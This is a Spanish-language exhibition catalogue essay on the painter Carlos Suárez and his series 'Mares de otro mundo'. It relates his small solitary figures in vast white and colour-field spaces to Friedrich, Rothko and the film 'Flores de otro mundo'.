Carlos Suárez: Geografía y escenario

Dos caminos, fácilmente discernibles, como vistos con nitidez desde lo alto, resumen el trabajo del asturiano Carlos Suárez en los últimos años. Dos caminos que han venido entrecruzándose hasta hoy, hasta este punto en el que, volviendo la vista atrás, encontramos, paradójicamente, el punto de partida más cerca que nunca, casi al alcance de la mano. El primero de ellos es su incuestionable raíz pictórica, el segundo, una permanente preocupación por lo que sucede a su alrededor. Una y otra avanzan de la mano a lo largo de su trayectoria, el verbo existencialista en el centro de la pintura. Porque es el lugar del hombre en el mundo, como se verá, el alma verdadera de la creación de Suárez.

 

Los comienzos de su andadura están caracterizados por su percepción de la pintura expresionista. Su Avilés natal aún conserva un claro ejemplo de esta actitud, un proyecto realizado en la estación de autobuses en el que juega con instrumentos propios del campo de la animación. Se trata de una secuencia de imágenes de claras resonancias saurianas, que, vistas desde el coche al avanzar por la calle, adquieren la ilusión de movimiento propia de los “cartoons”. Si bien Suárez ya tenía realizados varios conjuntos de trabajos dentro del ámbito del expresionismo, este proyecto de Avilés es relevante en tanto que muestra su intención de sacar la pintura del cuadro y repensar el soporte, algo que se convertirá en premisa recurrente en su obra antes de regresar al lienzo en lo que constituye, hasta ahora, un certero recorrido circular. Los materiales y soportes utilizados guardan una estrecha relación con las iconografías. Así, las cajas, ceras o parafinas, al igual que los distintos registros pictóricos, no son sólo soporte sino elementos contextualizadores, esto es, lugares que son habitados por esas pequeñísimas, casi imperceptibles figuras que pueblan, diseminadas y silenciosas, los mundos de Carlos Suárez.

 

La disminución de la escala humana, la “miniaturización”, es un recurso utilizado con frecuencia en el arte contemporáneo. Dos claros ejemplos son, entre otros muchos, el portugués Baltazar Torres y los hermanos Chapman. Torres crea universos de raíz crítica desde narrativas de claro contenido irónico, escenografías por las que corre el aroma del fracaso. En sus obras, el hombre solitario deambula entre el patetismo y la catástrofe. Los Chapman también aluden al fracaso pero desde la violencia, que entienden como fiel espejo de la progresiva degradación humana. Ambos trabajos proyectan, siempre desde la maqueta pero desde perspectivas diferentes, una reflexión sobre el lugar contemporáneo. El primero presenta la desolación del no-lugar y el espacio irrelevante; los segundos, el territorio militarizado, la trinchera y la muerte.

 

Carlos Suárez utiliza también pequeños muñecos de los que se usan para las maquetas en los estudios de arquitectura pero su obra no versa sobre la arquitectura y sí sobre una concepción más amplia, más abstracta del espacio. Su producción última se compone, por un lado, de parafinas y ceras y, por otro, de espacios pictóricos. Las piezas en parafina y en cera sí ofrecen una cierta perspectiva arquitectónica pero no existe tanto una intención racional de representar lugares habitables como la posibilidad de crear un espacio metafórico, informe y poético. En las ceras se aprecian planos encontrados que generan rudas geometrías, ceras que ofrecen la connotación evidente de lo efímero, la vulnerabilidad a las marcas del tiempo. Suárez contrarrestará este estado de fragilidad con la inclusión de instrumentos como escaleras y otros elementos metálicos. De otro lado, sus espacios pictóricos son vacíos, neutros y la única arquitectura posible es la que propicia la pintura. Los pequeños personajes andan perdidos en un lugar indefinido, como sujetos a nada, pululan quizá sumidos en un permanente estado reflexivo, anclados en el centro de ninguna parte.

 

Los trabajos que presenta en esta exposición están centrados, en su mayoría, en esta vertiente de carácter pictórico y vienen reunidos bajo el título “Mares de otro mundo”. Suárez es lector asiduo del escritor leonés Julio Llamazares cuya aportación al film “Flores de otro mundo”, no pasó inadvertida para el asturiano. La película, dirigida por Iciar Bollaín, relata la singular historia de un grupo de mujeres (procedentes de la República Dominicana, Cuba…e incluso Bilbao) que llegan a Santa Eulalia, localidad cercana a Guadalajara, en una caravana organizada por los hombres del pueblo para paliar el escaso número de mujeres que allí viven. Su llegada supone una pequeña revolución para sus habitantes. Son notorias las expectativas en ambas partes como muestra esa primera escena del autobús llegando al pueblo, avanzando entre el júbilo de los chavales. El tono del film está, creo, impregnado de ternura pero hay una interesante sucesión de ideas que resultan de lo más relevante: la difícil adaptación de las mujeres inmigrantes y la soledad de los hombres de campo. Como avanzábamos anteriormente, los pequeños personajes de Carlos Suárez parecen inmersos en una reflexión continua. Existe una permanente incertidumbre que se acentúa por el contexto en el que se mueven, la extensión enorme del lienzo que se entiende, y así lo presenta el artista, como la inmensidad del mar. Muchas imágenes de “Flores de otro mundo” aluden a esa inquietante sensación de soledad. Milady, la mujer cubana, en la cabina telefónica, Milady que suspira por una libertad que en modo alguno va a encontrar en ese pueblo, un pueblo que no es más que una cárcel. Ese estar en medio de la nada, sola, desesperadamente sola.

 

Este grupo nuevo de pinturas ofrece dos perfiles muy diferentes. Por un lado están los cuadros blancos en los que la figura aparece también aislada, tan sólo acompañada por su sombra, y aquellos más recientes en los que la acción de la pintura sirve de contexto. Son interesantes estos últimos, en los que las capas sucesivas de pintura siempre blanca revelan nuevas geografías, territorios desconocidos. Las pinceladas en estos cuadros últimos generan una orografía agreste sobre las que descansan las figuras, aunque casi cabría afirmar que dichas pinceladas semejan plataformas desde las que las figuras podrían precipitarse hacia el abismo. Porque este es un blanco abismal, limpio, que destila un cierto sentimiento de pureza pero que alude, sobre todo, a la naturaleza netamente abstracta de la composición.

 

Esta idea del abismo, de la extensión descomunal del paisaje, remite al otro conjunto de alrededor de una docena de cuadros con las que vuelve a situarse en la línea de la percepción extática del lugar, de una suerte de visión interior pero ahora a través del color. Suárez dispone estructuras horizontales que enlazan directamente con la noción romántica del paisaje. No hay duda de que estas nuevas piezas son deudoras del “Monje junto al mar” obra de Caspar David Friedrich pintada en 1810, una de las obras más características, si no la más, del Romanticismo alemán. El monje se sitúa en la línea del horizonte, frente a un mar casi inabarcable, impreciso de tan agitado y tan brusco con un cielo inmenso, desbordante. Friedrich ha situado a su protagonista en el centro del conflicto, en el epicentro de la naturaleza infinita y subraya así su condición minúscula frente a la grandeza de ésta.

 

El planteamiento de Suárez es menos ambicioso y, desde luego, más terrenal. Su pintura es plana y sus personajes se sitúan sobre la línea del horizonte, expuestos a los avatares que el vacío pueda producir. Hay también una querencia rothkiana, la superficie estratificada de atmósfera igualmente vibrante. Robert Rosemblum ha trazado, en su archiconocido “La pintura moderna y la tradición del Romanticismo nórdico”, una línea entre la pintura de Friedrich y la de Rothko, una línea que establece un vínculo entre un sector de la pintura moderna realizada fuera de París. En esta última serie de Suárez encontramos referencias a los dos artistas. El acento en lo sobrenatural a través del cual Friedrich traslada postulados propios del arte religioso al ámbito secular, está muy presente en los cuadros del asturiano. Del mismo modo, la experiencia cromática y su disposición en campos de carácter mítico de Rothko y su intención de realizar, como el mismo afirmó, “cuadros de una única figura humana, sola en un momento de absoluta inmovilidad”, nos emplazan a un plano similar. Este abismo, este enfrentarse a lo insondable nos vuelve a situar a las figuras en esa soledad a la que antes hacía referencia, a la inmensidad del campo manchego para las jóvenes inmigrantes, cuando éste resulta incomprensible y ajeno. Si estos espacios aluden indudablemente a un sentimiento de carácter místico, otros cuadros igualmente recientes nos muestran una naturaleza desaforada y colérica, una verdadera turbulencia de energías azarosas en la que las figuras aparecen envueltas en el más absoluto caos, como si de un furioso Turner se tratara.

Llegamos de esta forma, tras un largo camino, al punto de partida inicial. Los comienzos en el acento expresionista se vieron interrumpidos por la inclusión de nuevos materiales que ocultaron temporalmente lo puramente pictórico. Aquí tenemos el regreso al certero compromiso con la pintura, esta última quizá más en la línea del colour field, que evidencia y certifica este camino de ida y vuelta, este no poder desprenderse de ella. La pintura como extensión y como reactivación del espacio romántico.

Texto del catálogo

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